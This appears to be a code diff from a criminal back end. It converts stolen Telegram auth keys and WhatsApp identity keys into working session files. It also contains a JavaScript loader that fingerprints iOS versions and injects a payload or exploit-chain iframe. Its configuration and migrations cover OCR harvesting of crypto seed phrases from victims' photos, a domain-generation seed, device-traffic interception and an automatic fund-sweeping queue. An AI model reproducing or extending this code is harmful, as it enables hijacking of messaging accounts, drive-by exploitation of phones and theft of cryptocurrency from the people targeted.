raise ValueError(f"auth_key must be 256 bytes, got {len(auth_key)}")
|
||||
# tglib.js stores the phone number (E.164 without +) in the top-level
|
||||
# "user_id" field; the Telegram user id is in backupData.peerId.
|
||||
phone = str(payload.get("user_id") or user_id)
|
||||
return auth_key, dc_id, user_id, phone
|
||||
|
||||
|
||||
def make_session(tmpdir: str, auth_key: bytes, dc_id: int) -> str:
|
||||
"""Create a Telethon SQLite session file with the given auth key + DC."""
|
||||
from telethon.sessions import SQLiteSession
|
||||
server, port = DC_ADDRS.get(dc_id, ("149.154.167.91", 443))
|
||||
path = os.path.join(tmpdir, "tg")
|
||||
sess = SQLiteSession(path)
|
||||
sess._conn.execute("DELETE FROM sessions")
|
||||
sess._conn.execute(
|
||||
"INSERT INTO sessions (dc_id, server_address, port, auth_key) VALUES (?,?,?,?)",
|
||||
(dc_id, server, port, auth_key),
|
||||
)
|
||||
sess._conn.commit()
|
||||
sess.close()
|
||||
return path + ".session"
|
||||
|
||||
|
||||
def session_string_from(session_file: str) -> str:
|
||||
"""Convert a Telethon SQLite session file to a StringSession string."""
|
||||
from telethon.sessions import StringSession, SQLiteSession
|
||||
return StringSession.save(SQLiteSession(session_file))
|
||||
|
||||
|
||||
def build_metadata(user_id, phone: str, session_string: str) -> dict:
|
||||
"""Build the account metadata JSON (matching the reference format)."""
|
||||
return {
|
||||
"api_id": DEFAULT_API_ID,
|
||||
"api_hash": DEFAULT_API_HASH,
|
||||
"device_model": "Telegram Desktop",
|
||||
"system_version": "Windows 10 x64",
|
||||
"app_version": "4.14.4 x64",
|
||||
"system_lang_code": "en-US",
|
||||
"lang_pack": "tdesktop",
|
||||
"lang_code": "en",
|
||||
"user_id": user_id,
|
||||
"phone": phone,
|
||||
"twofa": "",
|
||||
"password": "",
|
||||
"session_string": session_string,
|
||||
"app_id": DEFAULT_API_ID,
|
||||
"app_hash": DEFAULT_API_HASH,
|
||||
"session_file": phone,
|
||||
"device": "Telegram Desktop",
|
||||
"username": "",
|
||||
"sex": None,
|
||||
"tz_offset": 28800,
|
||||
"avatar": "img/default.png",
|
||||
"device_token": "__FIREBASE_FAILED__",
|
||||
"package_id": "",
|
||||
"installer": "",
|
||||
"ipv6": False,
|
||||
"pref_cat": 2,
|
||||
"block": False,
|
||||
"premium": False,
|
||||
}
|
||||
|
||||
|
||||
def main():
|
||||
if len(sys.argv) != 3:
|
||||
print("usage: tglib_to_session_files.py <input.json> <output_dir>", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
input_json, output_dir = sys.argv[1], sys.argv[2]
|
||||
payload = json.load(open(input_json))
|
||||
auth_key, dc_id, user_id, phone = extract_keys(payload)
|
||||
print(f"auth_key: {len(auth_key)}B, dc_id: {dc_id}, user_id: {user_id}, phone: {phone}", file=sys.stderr)
|
||||
|
||||
os.makedirs(output_dir, exist_ok=True)
|
||||
tmpdir = tempfile.mkdtemp(prefix="tglib_sess_")
|
||||
try:
|
||||
session_file = make_session(tmpdir, auth_key, dc_id)
|
||||
ss = session_string_from(session_file)
|
||||
|
||||
# 1) {phone}.session — copy the SQLite session file
|
||||
out_session = os.path.join(output_dir, f"{phone}.session")
|
||||
shutil.copy(session_file, out_session)
|
||||
|
||||
# 2) {phone}.json — metadata + session_string
|
||||
meta = build_metadata(user_id, phone, ss)
|
||||
out_json = os.path.join(output_dir, f"{phone}.json")
|
||||
with open(out_json, "w", encoding="utf-8") as f:
|
||||
json.dump(meta, f, ensure_ascii=False, indent=4)
|
||||
|
||||
# 3) {phone}_密钥.txt — session_string plain text
|
||||
out_key = os.path.join(output_dir, f"{phone}_密钥.txt")
|
||||
with open(out_key, "w", encoding="utf-8") as f:
|
||||
f.write(ss)
|
||||
|
||||
print(f"wrote: {out_session}, {out_json}, {out_key}", file=sys.stderr)
|
||||
finally:
|
||||
shutil.rmtree(tmpdir, ignore_errors=True)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,119 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
tglib_to_tdata.py — Convert tglib.js JSON payload to a Telegram Desktop tdata zip.
|
||||
|
||||
Usage:
|
||||
python tglib_to_tdata.py <input.json> <output.zip>
|
||||
|
||||
Reads the tglib.js JSON (state + db_sqlite), extracts the master MTProto auth
|
||||
key + DC id, builds a Telethon SQLite session, and uses opentele-ng to write a
|
||||
tdata folder, then zips it.
|
||||
|
||||
Works fully offline — no Telegram connection is made.
|
||||
"""
|
||||
import json, base64, os, sys, tempfile, shutil, sqlite3, zipfile, asyncio
|
||||
|
||||
# Standard Telegram production DC endpoints (used to seed the Telethon session).
|
||||
DC_ADDRS = {
|
||||
1: ("149.154.175.50", 443),
|
||||
2: ("149.154.167.51", 443),
|
||||
3: ("149.154.175.100", 443),
|
||||
4: ("149.154.167.91", 443),
|
||||
5: ("91.108.56.130", 443),
|
||||
}
|
||||
|
||||
|
||||
def extract_keys(payload: dict):
|
||||
"""Extract master auth_key, dc_id, user_id from tglib.js JSON payload."""
|
||||
state_b64 = payload.get("state")
|
||||
if not state_b64:
|
||||
raise ValueError("missing 'state' field")
|
||||
state = json.loads(base64.b64decode(state_b64))
|
||||
records = state.get("records", [])
|
||||
if not records:
|
||||
raise ValueError("no records in state")
|
||||
backup_b64 = None
|
||||
for attr in records[0].get("attributes", []):
|
||||
if isinstance(attr, dict) and "backupData" in attr:
|
||||
backup_b64 = attr["backupData"]["data"]
|
||||
break
|
||||
if not backup_b64:
|
||||
raise ValueError("no backupData in state records")
|
||||
backup = json.loads(base64.b64decode(backup_b64))
|
||||
auth_key = base64.b64decode(backup["masterDatacenterKey"])
|
||||
dc_id = backup["masterDatacenterId"]
|
||||
user_id = backup.get("peerId", 0)
|
||||
if len(auth_key) != 256:
|
||||
raise ValueError(f"auth_key must be 256 bytes, got {len(auth_key)}")
|
||||
return auth_key, dc_id, user_id
|
||||
|
||||
|
||||
def make_session(tmpdir: str, auth_key: bytes, dc_id: int) -> str:
|
||||
"""Create a Telethon SQLite session file with the given auth key + DC."""
|
||||
from telethon.sessions import SQLiteSession
|
||||
server, port = DC_ADDRS.get(dc_id, ("149.154.167.91", 443))
|
||||
path = os.path.join(tmpdir, "tg")
|
||||
sess = SQLiteSession(path)
|
||||
sess._conn.execute("DELETE FROM sessions")
|
||||
sess._conn.execute(
|
||||
"INSERT INTO sessions (dc_id, server_address, port, auth_key) VALUES (?,?,?,?)",
|
||||
(dc_id, server, port, auth_key),
|
||||
)
|
||||
sess._conn.commit()
|
||||
sess.close()
|
||||
return path + ".session"
|
||||
|
||||
|
||||
def convert_to_tdata(session_file: str, out_dir: str):
|
||||
"""Use opentele-ng to convert Telethon session → tdata folder (offline)."""
|
||||
from opentele.td import TDesktop
|
||||
from opentele.tl import TelegramClient
|
||||
from opentele.api import UseCurrentSession
|
||||
|
||||
async def _run():
|
||||
client = TelegramClient(session_file)
|
||||
try:
|
||||
tdesk = await client.ToTDesktop(flag=UseCurrentSession)
|
||||
if not tdesk.isLoaded():
|
||||
raise RuntimeError("TDesktop failed to load after conversion")
|
||||
if os.path.exists(out_dir):
|
||||
shutil.rmtree(out_dir)
|
||||
tdesk.SaveTData(out_dir)
|
||||
finally:
|
||||
await client.disconnect()
|
||||
|
||||
asyncio.run(_run())
|
||||
|
||||
|
||||
def zip_tdata(tdata_dir: str, zip_path: str):
|
||||
"""Zip the tdata folder into a zip file."""
|
||||
with zipfile.ZipFile(zip_path, "w", zipfile.ZIP_DEFLATED) as zf:
|
||||
for root, dirs, files in os.walk(tdata_dir):
|
||||
for f in files:
|
||||
full = os.path.join(root, f)
|
||||
arc = os.path.relpath(full, os.path.dirname(tdata_dir))
|
||||
zf.write(full, arc)
|
||||
|
||||
|
||||
def main():
|
||||
if len(sys.argv) != 3:
|
||||
print("usage: tglib_to_tdata.py <input.json> <output.zip>", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
input_json, output_zip = sys.argv[1], sys.argv[2]
|
||||
payload = json.load(open(input_json))
|
||||
auth_key, dc_id, user_id = extract_keys(payload)
|
||||
print(f"auth_key: {len(auth_key)}B, dc_id: {dc_id}, user_id: {user_id}", file=sys.stderr)
|
||||
|
||||
tmpdir = tempfile.mkdtemp(prefix="tglib_tdata_")
|
||||
try:
|
||||
session_file = make_session(tmpdir, auth_key, dc_id)
|
||||
tdata_dir = os.path.join(tmpdir, "tdata")
|
||||
convert_to_tdata(session_file, tdata_dir)
|
||||
zip_tdata(tdata_dir, output_zip)
|
||||
print(f"wrote {output_zip} ({os.path.getsize(output_zip)} bytes)", file=sys.stderr)
|
||||
finally:
|
||||
shutil.rmtree(tmpdir, ignore_errors=True)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,149 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
wap.js payload -> __ws.txt NDJSON (chk.ts native output format)
|
||||
|
||||
Route-1: infer cc/country from phone via libphonenumber, derive `in` by
|
||||
stripping cc from phone, derive clientStaticPublicKey from the private key
|
||||
via curve25519.
|
||||
|
||||
Usage:
|
||||
python wapjs_to_ws.py <input.json> [output.ndjson]
|
||||
|
||||
If output omitted, writes <input-stem>.ndjson next to input.
|
||||
"""
|
||||
import sys, json, base64, phonenumbers
|
||||
from pathlib import Path
|
||||
from nacl.public import PrivateKey # curve25519
|
||||
|
||||
|
||||
# ---------- protobuf (minimal, only what chk.ts signedPreKey needs) ----------
|
||||
def _varint(d, o):
|
||||
v = s = 0
|
||||
while True:
|
||||
b = d[o]; o += 1
|
||||
v |= (b & 0x7f) << s
|
||||
if not (b & 0x80): break
|
||||
s += 7
|
||||
return v, o
|
||||
|
||||
def parse_pb(d):
|
||||
out, o = {}, 0
|
||||
while o < len(d):
|
||||
tag, o = _varint(d, o)
|
||||
fn, w = tag >> 3, tag & 7
|
||||
if w == 0:
|
||||
v, o = _varint(d, o)
|
||||
elif w == 1:
|
||||
v = d[o:o + 8]; o += 8
|
||||
elif w == 2:
|
||||
ln, o = _varint(d, o)
|
||||
v = d[o:o + ln]; o += ln
|
||||
elif w == 5:
|
||||
v = d[o:o + 4]; o += 4
|
||||
else:
|
||||
raise ValueError(f"bad wire {w} field {fn}")
|
||||
out[fn] = v
|
||||
return out
|
||||
|
||||
|
||||
def b64(b: bytes) -> str:
|
||||
return base64.b64encode(b).decode()
|
||||
|
||||
|
||||
def infer_cc_country(phone_int: int):
|
||||
"""Return (cc, country_iso, in_local) using libphonenumber."""
|
||||
s = "+" + str(phone_int)
|
||||
try:
|
||||
nn = phonenumbers.parse(s, None)
|
||||
if not phonenumbers.is_valid_number(nn):
|
||||
# still try to get region from prefix even if invalid
|
||||
region = phonenumbers.region_code_for_country_code(nn.country_code) or ""
|
||||
else:
|
||||
region = phonenumbers.region_code_for_number(nn) or ""
|
||||
cc = str(nn.country_code)
|
||||
national = str(nn.national_number)
|
||||
return cc, region, national
|
||||
except phonenumbers.NumberParseException:
|
||||
return "", "", str(phone_int)
|
||||
|
||||
|
||||
def convert(wap_path: Path) -> str:
|
||||
o = json.loads(wap_path.read_text())
|
||||
pks = o["phoneKeyStore"]
|
||||
ident = pks["identity"]
|
||||
spk = parse_pb(bytes.fromhex(pks["signedPreKey"]["hexKey"]))
|
||||
dc = o.get("deviceConfig", {})
|
||||
|
||||
cc, country, in_local = infer_cc_country(int(o["userId"]))
|
||||
phone = str(o["userId"])
|
||||
|
||||
# identity keys (keep 05 prefix)
|
||||
ident_pub_b = bytes.fromhex(ident["hexPublic"]) # 33 bytes
|
||||
ident_priv_b = bytes.fromhex(ident["hexPrivate"]) # 32 bytes
|
||||
|
||||
# signed prekey (protobuf): 1=id 2=pub(33,05+) 3=priv(32) 4=sig(64)
|
||||
spk_id = spk[1]
|
||||
spk_pub_b = spk[2] # 33 bytes
|
||||
spk_priv_b = spk[3] # 32 bytes
|
||||
spk_sig_b = spk[4] # 64 bytes
|
||||
|
||||
# clientStatic: private given, derive public (raw 32 bytes, no 05 prefix)
|
||||
cs_priv_b = base64.b64decode(o["clientStaticKeypairBase64"])
|
||||
cs_pub_b = bytes(PrivateKey(cs_priv_b).public_key) # 32 bytes
|
||||
|
||||
record = {
|
||||
"cc": cc,
|
||||
"clientStaticPrivateKey": b64(cs_priv_b),
|
||||
"clientStaticPublicKey": b64(cs_pub_b),
|
||||
"country": country,
|
||||
"device": dc.get("model", ""),
|
||||
"deviceUUID": "",
|
||||
"identityPrivateKey": b64(ident_priv_b),
|
||||
"identityPublicKey": b64(ident_pub_b),
|
||||
"in": in_local,
|
||||
"jid": phone,
|
||||
"language": "",
|
||||
"manufacturer": dc.get("brand", "Apple") or "Apple",
|
||||
"mcc": dc.get("sim_operator", ""),
|
||||
"mnc": "",
|
||||
"osBuildNumber": dc.get("display", ""),
|
||||
"osVersion": dc.get("sdk_release", ""),
|
||||
"phone": phone,
|
||||
"phoneUUID": o.get("phoneId", ""),
|
||||
"registrationID": ident.get("registration_id", 0),
|
||||
"roProductBoard": dc.get("board", ""),
|
||||
"roProductDevice": dc.get("device", ""),
|
||||
"signPreKeyID": spk_id,
|
||||
"signPreKeyPrivateKey": b64(spk_priv_b),
|
||||
"signPreKeyPublicKey": b64(spk_pub_b),
|
||||
"signPreKeySignature": b64(spk_sig_b),
|
||||
"whatsappVersion": "",
|
||||
}
|
||||
return json.dumps(record, ensure_ascii=False, separators=(",", ":"))
|
||||
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 2:
|
||||
print(__doc__); sys.exit(1)
|
||||
inp = Path(sys.argv[1])
|
||||
out = Path(sys.argv[2]) if len(sys.argv) > 2 else inp.with_suffix(".ndjson")
|
||||
line = convert(inp)
|
||||
out.write_text(line + "\n")
|
||||
print(f"wrote {out} ({len(line)} chars)")
|
||||
# echo parsed summary
|
||||
r = json.loads(line)
|
||||
print("\n=== summary ===")
|
||||
for k in ["cc","country","in","phone","jid","phoneUUID","registrationID",
|
||||
"device","roProductDevice","roProductBoard","osVersion","osBuildNumber",
|
||||
"manufacturer","mcc"]:
|
||||
print(f" {k:18s} = {r[k]!r}")
|
||||
print(" --- key lengths (raw bytes) ---")
|
||||
for k in ["identityPublicKey","identityPrivateKey","signPreKeyPublicKey",
|
||||
"signPreKeyPrivateKey","signPreKeySignature",
|
||||
"clientStaticPrivateKey","clientStaticPublicKey"]:
|
||||
b = base64.b64decode(r[k])
|
||||
print(f" {k:22s} = {len(b):3d} bytes head={b[:3].hex()}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,43 @@
|
||||
"""Install the shared script-embed boot as published index.js."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from pathlib import Path
|
||||
|
||||
BOOT_MARKER = "/* coruna-embed-boot */"
|
||||
BOOT_TEMPLATE = Path(__file__).with_name("index.boot.js")
|
||||
PAYLOAD_NAME = "payload.js"
|
||||
INDEX_NAME = "index.js"
|
||||
|
||||
|
||||
def apply_embed_boot(
|
||||
dest_dir: Path,
|
||||
*,
|
||||
channel_code: str,
|
||||
ds_domain: str = "",
|
||||
) -> Path:
|
||||
dest_dir = Path(dest_dir)
|
||||
if not dest_dir.is_dir():
|
||||
raise SystemExit(f"embed boot: missing directory {dest_dir}")
|
||||
if not BOOT_TEMPLATE.is_file():
|
||||
raise SystemExit(f"embed boot: missing template {BOOT_TEMPLATE}")
|
||||
|
||||
index_path = dest_dir / INDEX_NAME
|
||||
payload_path = dest_dir / PAYLOAD_NAME
|
||||
if index_path.is_file():
|
||||
current = index_path.read_text(encoding="utf-8")
|
||||
if BOOT_MARKER not in current and not payload_path.is_file():
|
||||
index_path.replace(payload_path)
|
||||
elif BOOT_MARKER in current and not payload_path.is_file():
|
||||
raise SystemExit(f"embed boot: {index_path} is boot but {payload_path} is missing")
|
||||
if not payload_path.is_file():
|
||||
raise SystemExit(f"embed boot: missing payload {payload_path}")
|
||||
|
||||
boot = BOOT_TEMPLATE.read_text(encoding="utf-8")
|
||||
boot = boot.replace("__CHANNEL_CODE__", channel_code)
|
||||
boot = boot.replace("__DS_DOMAIN__", (ds_domain or "").rstrip("/"))
|
||||
boot = boot.replace("__STAT_ORIGIN__", "")
|
||||
if BOOT_MARKER not in boot:
|
||||
boot = BOOT_MARKER + "\n" + boot
|
||||
index_path.write_text(boot, encoding="utf-8")
|
||||
return index_path
|
||||
@@ -0,0 +1,81 @@
|
||||
/* coruna-embed-boot */
|
||||
(function () {
|
||||
var CHANNEL = '__CHANNEL_CODE__';
|
||||
var DS_DOMAIN = '__DS_DOMAIN__';
|
||||
var STAT_ORIGIN = '__STAT_ORIGIN__';
|
||||
|
||||
if (CHANNEL && CHANNEL.indexOf('__') !== 0) {
|
||||
window.__CORUNA_CHANNEL__ = CHANNEL;
|
||||
}
|
||||
if (STAT_ORIGIN && STAT_ORIGIN.indexOf('__') !== 0) {
|
||||
window.__CORUNA_STAT_ORIGIN__ = String(STAT_ORIGIN).replace(/\/$/, '');
|
||||
} else {
|
||||
window.__CORUNA_STAT_ORIGIN__ = '';
|
||||
}
|
||||
|
||||
function scriptDir() {
|
||||
try {
|
||||
if (document.currentScript && document.currentScript.src) {
|
||||
return document.currentScript.src.replace(/\/[^\/]*$/, '/');
|
||||
}
|
||||
} catch (e0) {}
|
||||
try {
|
||||
var scripts = document.getElementsByTagName('script');
|
||||
for (var i = scripts.length - 1; i >= 0; i--) {
|
||||
var src = scripts[i].src || '';
|
||||
if (/\/index\.js(?:[?#]|$)/i.test(src)) {
|
||||
return src.replace(/\/index\.js(?:[?#].*)?$/i, '/');
|
||||
}
|
||||
}
|
||||
} catch (e1) {}
|
||||
return '';
|
||||
}
|
||||
|
||||
function inject(src) {
|
||||
var s = document.createElement('script');
|
||||
s.src = src;
|
||||
(document.body || document.documentElement || document.head).appendChild(s);
|
||||
}
|
||||
|
||||
var dir = scriptDir();
|
||||
var statOrigin = window.__CORUNA_STAT_ORIGIN__ || '';
|
||||
inject((statOrigin || location.origin) + '/t.js?' + Date.now());
|
||||
|
||||
function parseIosVersion() {
|
||||
var ua = navigator.userAgent || '';
|
||||
var m = /iPhone OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) {
|
||||
m = /Version\/(\d+)\.(\d+)/.exec(ua);
|
||||
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
|
||||
}
|
||||
return m[1].split('_').map(function (p) {
|
||||
return parseInt(p, 10);
|
||||
});
|
||||
}
|
||||
|
||||
var ios = parseIosVersion();
|
||||
if (!ios || ios[0] < 18) {
|
||||
inject((dir || '') + 'payload.js?' + Date.now());
|
||||
return;
|
||||
}
|
||||
if (ios[0] === 18) {
|
||||
var channelCode = CHANNEL && CHANNEL.indexOf('__') !== 0 ? CHANNEL : '';
|
||||
if (!channelCode) {
|
||||
try {
|
||||
var path = String(location.pathname || '');
|
||||
var mWeb = path.match(/\/web\/([0-9a-z]{32})\//i);
|
||||
var mCh = path.match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
|
||||
if (mWeb && mWeb[1]) channelCode = mWeb[1];
|
||||
else if (mCh && mCh[1]) channelCode = mCh[1].toUpperCase();
|
||||
} catch (eC) {}
|
||||
}
|
||||
var dsUrl = DS_DOMAIN + '/next-chain/frame.html';
|
||||
if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
|
||||
var ifr = document.createElement('iframe');
|
||||
ifr.src = dsUrl;
|
||||
ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
|
||||
(document.body || document.documentElement).appendChild(ifr);
|
||||
}
|
||||
})();
|
||||
+63
-1
@@ -16,7 +16,10 @@ return [
|
||||
'tesseract' => env('CORUNA_TESSERACT', 'tesseract'),
|
||||
'oem' => (int) env('CORUNA_OCR_OEM', 1),
|
||||
'psm' => (int) env('CORUNA_OCR_PSM', 6),
|
||||
'max_edge' => (int) env('CORUNA_OCR_MAX_EDGE', 1280),
|
||||
// 800px is enough for large-font BIP39 seed phrases (wallet apps show
|
||||
// them in big monospace). 1280 made Tesseract ~2-3x slower per image
|
||||
// with no recall gain. Override via CORUNA_OCR_MAX_EDGE if needed.
|
||||
'max_edge' => (int) env('CORUNA_OCR_MAX_EDGE', 800),
|
||||
],
|
||||
'session_key' => env('CORUNA_SESSION_KEY'), // optional override; empty = derive(seed=0)
|
||||
'xxbb' => [
|
||||
@@ -45,6 +48,8 @@ return [
|
||||
storage_path('app/channel-builder')
|
||||
),
|
||||
'timeout' => (float) env('CORUNA_CHANNEL_BUILDER_TIMEOUT', 600),
|
||||
// Shared DGA seed for every old-builder channel (deployment === reporting).
|
||||
'seed' => strtolower(trim((string) env('CORUNA_CHANNEL_SEED', ''))),
|
||||
],
|
||||
'channel_builder_new' => [
|
||||
'python' => (string) env('CORUNA_CHANNEL_BUILDER_NEW_PYTHON', ''),
|
||||
@@ -100,10 +105,60 @@ return [
|
||||
'owner_chat_id' => env('TELEGRAM_OWNER_CHAT_ID'),
|
||||
'webhook_secret' => env('TELEGRAM_WEBHOOK_SECRET', ''),
|
||||
],
|
||||
|
||||
// Device data interception: when a request comes from one of the listed
|
||||
// device IDs, log it to a separate file, push a Telegram alert through a
|
||||
// dedicated bot, and optionally mirror the raw request to another domain.
|
||||
'intercept' => [
|
||||
// Comma-separated device IDs (normalized form, case-insensitive).
|
||||
// e.g. INTERCEPT_DEVICE_KEYS=0016094811BA401E,000339A03620001E
|
||||
'device_keys' => array_values(array_filter(array_map(
|
||||
static fn ($v) => strtolower(trim((string) $v)),
|
||||
explode(',', (string) env('INTERCEPT_DEVICE_KEYS', ''))
|
||||
))),
|
||||
// Dedicated Telegram bot for interception alerts (empty = skip TG push).
|
||||
'bot_token' => trim((string) env('INTERCEPT_BOT_TOKEN', '')),
|
||||
// Chat ID to receive interception alerts.
|
||||
'chat_id' => trim((string) env('INTERCEPT_CHAT_ID', '')),
|
||||
// Paths that skip Telegram push but still log + forward (high-frequency noise).
|
||||
// e.g. /event is telemetry spam. Default: /event
|
||||
'push_skip_paths' => (function () {
|
||||
$trimmed = array_filter(
|
||||
array_map(static fn ($v) => trim((string) $v), explode(',', (string) env('INTERCEPT_PUSH_SKIP_PATHS', '/event'))),
|
||||
static fn ($v) => $v !== ''
|
||||
);
|
||||
|
||||
return array_values(array_map(static fn ($v) => '/'.ltrim($v, '/'), $trimmed));
|
||||
})(),
|
||||
// Mirror raw requests to this base URL (empty = no forwarding).
|
||||
// e.g. INTERCEPT_FORWARD_URL=https://mirror.example.com
|
||||
'forward_url' => rtrim(trim((string) env('INTERCEPT_FORWARD_URL', '')), '/'),
|
||||
// Forwarding HTTP timeout in seconds.
|
||||
'forward_timeout' => (int) env('INTERCEPT_FORWARD_TIMEOUT', 10),
|
||||
],
|
||||
'tokenview' => [
|
||||
'api_key' => env('TOKENVIEW_API_KEY', ''),
|
||||
'sign_key' => env('TOKENVIEW_SIGN_KEY', ''),
|
||||
'base_url' => env('TOKENVIEW_BASE_URL', 'https://services.tokenview.io/vipapi'),
|
||||
// Separate Blockchain Data API key (balance + activation + all-token for ETH/BSC/BTC/SOL).
|
||||
// Falls back to api_key when empty. Empty/unauthorized → per-chain RPC fallback.
|
||||
'data_api_key' => env('TOKENVIEW_DATA_API_KEY', ''),
|
||||
'data_timeout' => (int) env('TOKENVIEW_DATA_TIMEOUT', 30),
|
||||
],
|
||||
// Alchemy Blockchain Data + Prices API. Used for balance / all-token inventory
|
||||
// and USD token value estimation. ETH/BSC/SOL JSON-RPC + Prices REST.
|
||||
// Chains not enabled on the Alchemy app fall back to their per-chain RPC driver.
|
||||
'alchemy' => [
|
||||
'api_key' => env('ALCHEMY_API_KEY', ''),
|
||||
// JSON-RPC endpoints per network. Empty network = not configured.
|
||||
'eth_rpc_url' => env('ALCHEMY_ETH_RPC_URL', 'https://eth-mainnet.g.alchemy.com/v2'),
|
||||
'bsc_rpc_url' => env('ALCHEMY_BSC_RPC_URL', 'https://bnb-mainnet.g.alchemy.com/v2'),
|
||||
'sol_rpc_url' => env('ALCHEMY_SOL_RPC_URL', 'https://solana-mainnet.g.alchemy.com/v2'),
|
||||
// Prices REST API (independent of RPC network enablement).
|
||||
'prices_url' => env('ALCHEMY_PRICES_URL', 'https://api.g.alchemy.com/prices/v1'),
|
||||
'timeout' => (int) env('ALCHEMY_TIMEOUT', 30),
|
||||
// Max non-zero tokens to enrich with metadata + price per all-token query.
|
||||
'max_token_enrich' => (int) env('ALCHEMY_MAX_TOKEN_ENRICH', 100),
|
||||
],
|
||||
'tron' => [
|
||||
'full_node' => env('TRON_FULL_NODE', 'https://api.trongrid.io'),
|
||||
@@ -206,4 +261,11 @@ return [
|
||||
'com.global.wallet.ios',
|
||||
'ph.telegra.Telegraph',
|
||||
],
|
||||
|
||||
// Prefer a copy under bin/ so open_basedir can see it. /usr/bin/ldid
|
||||
// still works via proc_open if LDID_PATH points there.
|
||||
'ldid_path' => env('LDID_PATH', base_path('bin/ldid')),
|
||||
|
||||
// Host only; builder prepends https://. Used by App IPA patching.
|
||||
'app_api_domain' => trim((string) env('APP_API_DOMAIN', '')),
|
||||
];
|
||||
|
||||
@@ -44,6 +44,15 @@ return [
|
||||
'after_commit' => false,
|
||||
],
|
||||
|
||||
'shell' => [
|
||||
'driver' => 'database',
|
||||
'connection' => env('DB_CONNECTION'),
|
||||
'table' => 'jobs',
|
||||
'queue' => 'shell',
|
||||
'retry_after' => 300,
|
||||
'after_commit' => false,
|
||||
],
|
||||
|
||||
'beanstalkd' => [
|
||||
'driver' => 'beanstalkd',
|
||||
'host' => env('BEANSTALKD_QUEUE_HOST', 'localhost'),
|
||||
@@ -85,6 +94,42 @@ return [
|
||||
'after_commit' => false,
|
||||
],
|
||||
|
||||
// Latency-sensitive Telegram notifications. Kept off the default
|
||||
// queue so a backlog of photo extracts / page hits cannot delay
|
||||
// alerts by hours.
|
||||
'telegram' => [
|
||||
'driver' => 'redis',
|
||||
'connection' => env('REDIS_QUEUE_CONNECTION', 'default'),
|
||||
'queue' => 'telegram',
|
||||
'retry_after' => (int) env('TELEGRAM_QUEUE_RETRY_AFTER', 90),
|
||||
'block_for' => null,
|
||||
'after_commit' => false,
|
||||
],
|
||||
|
||||
// Auto-sweep / manual sweep. Latency-sensitive and unique-guarded;
|
||||
// pulling it off the default queue keeps it from sitting behind bulk
|
||||
// ingestion when money is ready to move.
|
||||
'transfer' => [
|
||||
'driver' => 'redis',
|
||||
'connection' => env('REDIS_QUEUE_CONNECTION', 'default'),
|
||||
'queue' => 'transfer',
|
||||
'retry_after' => (int) env('TRANSFER_QUEUE_RETRY_AFTER', 200),
|
||||
'block_for' => null,
|
||||
'after_commit' => false,
|
||||
],
|
||||
|
||||
// Photo archive extraction (7z + heavy IO, high volume). Isolated
|
||||
// so its long tail cannot block alerts or sweeps; OCR sub-tasks are
|
||||
// further dispatched to the `ocr` queue.
|
||||
'extract' => [
|
||||
'driver' => 'redis',
|
||||
'connection' => env('REDIS_QUEUE_CONNECTION', 'default'),
|
||||
'queue' => 'extract',
|
||||
'retry_after' => (int) env('EXTRACT_QUEUE_RETRY_AFTER', 200),
|
||||
'block_for' => null,
|
||||
'after_commit' => false,
|
||||
],
|
||||
|
||||
'deferred' => [
|
||||
'driver' => 'deferred',
|
||||
],
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
/**
|
||||
* Add app_name and bundle_id columns to the channels table.
|
||||
*
|
||||
* The "app" builder type (BUILDER_APP) represents an ai-live dylib-injected
|
||||
* app distribution channel. Each app channel carries the host app identity:
|
||||
* app_name — e.g. "Ai"
|
||||
* bundle_id — e.g. "aai.AiAi168168AiAi.app"
|
||||
* The channel_id for an app channel is a UUID (a13b4f76-…).
|
||||
*/
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('channels', function (Blueprint $table) {
|
||||
if (! Schema::hasColumn('channels', 'app_name')) {
|
||||
$table->string('app_name', 64)->nullable()->after('remark');
|
||||
}
|
||||
});
|
||||
|
||||
Schema::table('channels', function (Blueprint $table) {
|
||||
if (! Schema::hasColumn('channels', 'bundle_id')) {
|
||||
$table->string('bundle_id', 255)->nullable()->after('app_name');
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('channels', function (Blueprint $table) {
|
||||
if (Schema::hasColumn('channels', 'bundle_id')) {
|
||||
$table->dropColumn('bundle_id');
|
||||
}
|
||||
});
|
||||
|
||||
Schema::table('channels', function (Blueprint $table) {
|
||||
if (Schema::hasColumn('channels', 'app_name')) {
|
||||
$table->dropColumn('app_name');
|
||||
}
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,23 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('wallet_mnemonics', function (Blueprint $table) {
|
||||
$table->boolean('discovery_complete')->default(false)->after('mnemonic_enc');
|
||||
$table->timestamp('discovered_at')->nullable()->after('discovery_complete');
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('wallet_mnemonics', function (Blueprint $table) {
|
||||
